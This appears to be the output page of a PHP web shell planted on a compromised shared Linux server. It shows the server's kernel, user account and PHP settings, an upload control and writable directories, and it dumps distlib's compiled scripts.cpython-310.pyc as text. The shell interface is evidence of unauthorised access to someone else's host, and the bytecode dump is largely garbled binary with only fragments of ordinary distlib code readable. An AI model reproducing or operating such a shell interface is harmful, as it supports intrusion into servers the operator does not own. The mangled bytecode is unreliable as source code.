https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/distlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/distlib/__pycache__/scripts.cpython-310.pyc
o

��Ia8E�@s�ddlmZddlZddlZddlZddlZddlZddlmZm	Z	m
Z
ddlmZddl
mZmZmZmZmZmZe�e�Zd��Ze�d�Zd	Zd
d�ZeZGdd
�d
e�ZdS)�)�BytesION�)�	sysconfig�detect_encoding�ZipFile)�finder)�FileOperator�get_export_entry�convert_path�get_executable�get_platform�in_venva�
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
 <assemblyIdentity version="1.0.0.0"
 processorArchitecture="X86"
 name="%s"
 type="win32"/>

 <!-- Identify the application security requirements. -->
 <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
 <security>
 <requestedPrivileges>
 <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
 </requestedPrivileges>
 </security>
 </trustInfo>
</assembly>s^#!.*pythonw?[0-9.]*([ 	].*)?$z�# -*- coding: utf-8 -*-
import re
import sys
from %(module)s import %(import_name)s
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(%(func)s())
cCsZd|vr+|�d�r"|�dd�\}}d|vr |�d�s d||f}|S|�d�s+d|}|S)N� z
/usr/bin/env r�"z%s "%s"z"%s")�
startswith�split)�
executable�env�_executable�r�1/usr/lib/python3/dist-packages/distlib/scripts.py�enquote_executable3s

�rc@s�eZdZdZeZdZ		d*dd�Zdd�Ze	j
�d	�r#d
d�Zdd
�Z
dd�Zd+dd�Zdd�ZeZdd�Zdd�ZdZdd�Zd,dd�Zdd�Zed d!��Zejd"d!��Zejd#kseejd	kriejd#krid$d%�Zd,d&d'�Z d,d(d)�Z!dS)-�ScriptMakerz_
    A class to copy or create scripts from source scripts or callable
    specifications.
    NTFcCs�||_||_||_d|_d|_tjdkptjdkotjdk|_t	d�|_
|p)t|�|_tjdkp9tjdko9tjdk|_
tj|_dS)NF�posix�java)��X.Y�nt)�
source_dir�
target_dir�
add_launchers�force�clobber�os�name�_name�set_mode�set�variantsr�_fileop�_is_nt�sys�version_info)�selfrrr �dry_run�fileoprrr�__init__Ns�

�zScriptMaker.__init__cCs@|�dd�r|jrtj�|�\}}|�dd�}tj�||�}|S)N�guiF�python�pythonw)�getr*r#�pathr�replace�join)r-r�options�dn�fnrrr�_get_alternate_executable_s
z%ScriptMaker._get_alternate_executablerc	Csdzt|��}|�d�dkWd�WS1swYWdSttfy1t�d|�YdSw)zl
            Determine if the specified executable is a script
            (contains a #! line)
            �z#!NzFailed to open %sF)�open�read�OSError�IOError�logger�warning)r-r�fprrr�	_is_shellgs
(��zScriptMaker._is_shellcCsJ|�|�rddl}|jj�d�dkr|Sd|S|���d�r!|Sd|S)Nrzos.name�Linuxz
jython.exez/usr/bin/env %s)rDr�lang�System�getProperty�lower�endswith)r-rrrrr�_fix_jython_executabless
�z"ScriptMaker._fix_jython_executablecCs�tjdkrd}nt|�t|�d}tjdkrd}nd}d|vo#||k}|r0d||d	}|Sd
}|d||d7}|d
7}|S)a
        Build a shebang line. In the simple case (on Windows, or a shebang line
        which is not too long or contains spaces) use a simple formulation for
        the shebang. Otherwise, use /bin/sh as the executable, with a contrived
        shebang which allows the script to run either under Python or sh, using
        suitable quoting. Thanks to Harald Nordgren for his input.

        See also: http://www.in-ulm.de/~mascheck/various/shebang/#length
                  https://hg.mozilla.org/mozilla-central/file/tip/mach
        rT��darwini�� s#!�
s
#!/bin/sh
s	'''exec' s "$0" "$@"
s' ''')r#r$�lenr+�platform)r-r�post_interp�simple_shebang�shebang_length�max_shebang_length�resultrrr�_build_shebangs 

��zScriptMaker._build_shebang�cCsnd}|jr|j}d}nDt��st�}n<t�r&tj�t�d�dt�	d��}n)tj�t�	d�dt�	d�t�	d�f�}tj�
|�sOtj�t�	d�dt�	d��}|rW|�||�}tj
�d	�rb|�|�}|rht|�}|�d
�}tj
dkr~d|vr~d
|vr~|d7}|�||�}z|�d
�Wn
ty�td|��w|d
kr�z|�|�W|Sty�td||f��w|S)NTF�scriptszpython%s�EXE�BINDIRz
python%s%s�VERSIONr�utf-8�cliz	-X:Framesz
-X:FullFramess
 -X:Framesz,The shebang (%r) is not decodable from utf-8z?The shebang (%r) is not decodable from the script encoding (%r))rr�is_python_buildrr
r#r5r7�get_path�get_config_var�isfiler;r+rRrrKr�encoderX�decode�UnicodeDecodeError�
ValueError)r-�encodingrSr8�enquoter�shebangrrr�_get_shebang�sd�
���


������zScriptMaker._get_shebangcCs$|jt|j|j�d�d|jd�S)N�.r)�module�import_name�func)�script_template�dict�prefix�suffixr)r-�entryrrr�_get_script_text�s
�zScriptMaker._get_script_textcCstj�|�}|j|S�N)r#r5�basename�manifest)r-�exename�baserrr�get_manifest�s
zScriptMaker.get_manifestcCs�|jo|j}tj�d�}|�|�s||7}|s||}n7|dkr&|�d�}n|�d�}t�}	t|	d��}
|
�	d|�Wd�n1sDwY|	�
�}|||}|D]�}tj�|j
|�}
|r�tj�|
�\}}|�d�rp|}
d|
}
z	|j�|
|�Wnqty�t�d�d	|
}tj�|�r�t�|�t�|
|�|j�|
|�t�d
�zt�|�Wn	ty�YnwYn2w|jr�|
�d|�s�d|
|f}
tj�|
�r�|js�t�d
|
�qU|j�|
|�|jr�|j�|
g�|�|
�qUdS)Nr^�py�t�wz__main__.pyz.pyz%s.exez:Failed to write executable - trying to use .deleteme logicz%s.deletemez0Able to replace executable using .deleteme logicrlz%s.%szSkipping existing file %s)r r*r#�lineseprdrJ�
_get_launcherrr�writestr�getvaluer5r7r�splitextrr)�write_binary_file�	ExceptionrArB�exists�remove�rename�debugr"r&�set_executable_mode�append)r-�namesrj�script_bytes�	filenames�ext�use_launcherr�launcher�stream�zf�zip_datar$�outname�n�e�dfnamerrr�
_write_script�sb


�



����zScriptMaker._write_script�-cCsnt�}d|jvr
|�|�d|jvr|�d||jdf�d|jvr5|�d||j|jd|jdf�|S)Nr�Xz%s%srrz	%s%s%s.%sr)r'r(�addr,�variant_separator)r-r$rWrrr�get_script_filenames$s



�z ScriptMaker.get_script_filenamesc
Cs�d}|r|�dg�}|rdd�|�}|�d�}|jd||d�}|�|��d�}|�|j�}|r9|�dd�r9d	}	nd
}	|�|||||	�dS)NrY�interpreter_argsz %srr^�r8r1F�pywr|)r4r7rdrkrur�r$r�)
r-rtr�r8rS�argsrj�script�scriptnamesr�rrr�_make_script/s
zScriptMaker._make_scriptcCs�d}tj�|jt|��}tj�|jtj�|��}|js*|j�	||�s*t
�d|�dSzt|d�}Wnt
y@|js<�d}Yn#w|��}|sOt
�d|�dSt�|�dd��}|rcd}|�d�pbd	}|s�|rk|��|j�||�|jr||j�|g�|�|�dSt
�d
||j�|jjs�t|j�\}	}
|�d�|�|	|�}d|vr�d
}nd}tj�|�}
|�|
g||��||�|r�|��dSdS)NFznot copying %s (up-to-date)�rbz%s is an empty file (skipping)s
rPTrrYzcopying and adjusting %s -> %srspythonwr�r|) r#r5r7rr
rrwr!r)�newerrAr�r=r@r.�readlinerB�
FIRST_LINE_RE�matchr6�group�close�	copy_filer&r�r��infor�seekrkr�r>)r-r�r��adjustr��f�
first_liner�rSrh�linesrjr�r�rrr�_copy_script?sV��
�zScriptMaker._copy_scriptcCs|jjSrv�r)r.)r-rrrr.rszScriptMaker.dry_runcCs||j_dSrvr�)r-�valuerrrr.vsrcCstt�d�dkr
d}nd}t�dkrdnd}d|||f}t�d	d
�d}t|��|�}|s7d||f}t|��|jS)
N�P��64�32z	win-arm64z-armrz
%s%s%s.exerlrrz(Unable to find resource %s in package %s)	�struct�calcsizer�__name__�rsplitr�findrg�bytes)r-�kind�bits�platform_suffixr$�distlib_package�resource�msgrrrr�~s�zScriptMaker._get_launchercCs8g}t|�}|dur|�||�|S|j|||d�|S)a�
        Make a script.

        :param specification: The specification, which is either a valid export
                              entry specification (to make a script from a
                              callable) or a filename (to make a script by
                              copying from a source location).
        :param options: A dictionary of options controlling script generation.
        :return: A list of all absolute pathnames written to.
        Nr�)r	r�r�)r-�
specificationr8r�rtrrr�make�s�zScriptMaker.makecCs$g}|D]}|�|�||��q|S)z�
        Take a list of specifications and make scripts from them,
        :param specifications: A list of specifications.
        :return: A list of all absolute pathnames written to,
        )�extendr�)r-�specificationsr8r�r�rrr�
make_multiple�szScriptMaker.make_multiple)TFN)rYNrv)"r��
__module__�__qualname__�__doc__�SCRIPT_TEMPLATErprr0r;r+rRrrDrKrXrkru�_DEFAULT_MANIFESTrxr{r�r�r�r�r��propertyr.�setterr#r$r%r�r�r�rrrrrEs:
�
E4
3


r) �ior�loggingr#�rer�r+�compatrrr�	resourcesr�utilrr	r
rrr
�	getLoggerr�rA�stripr��compiler�r�r�_enquote_executable�objectrrrrr�<module>s$ 
�



https://t.me/RX1948 - 2025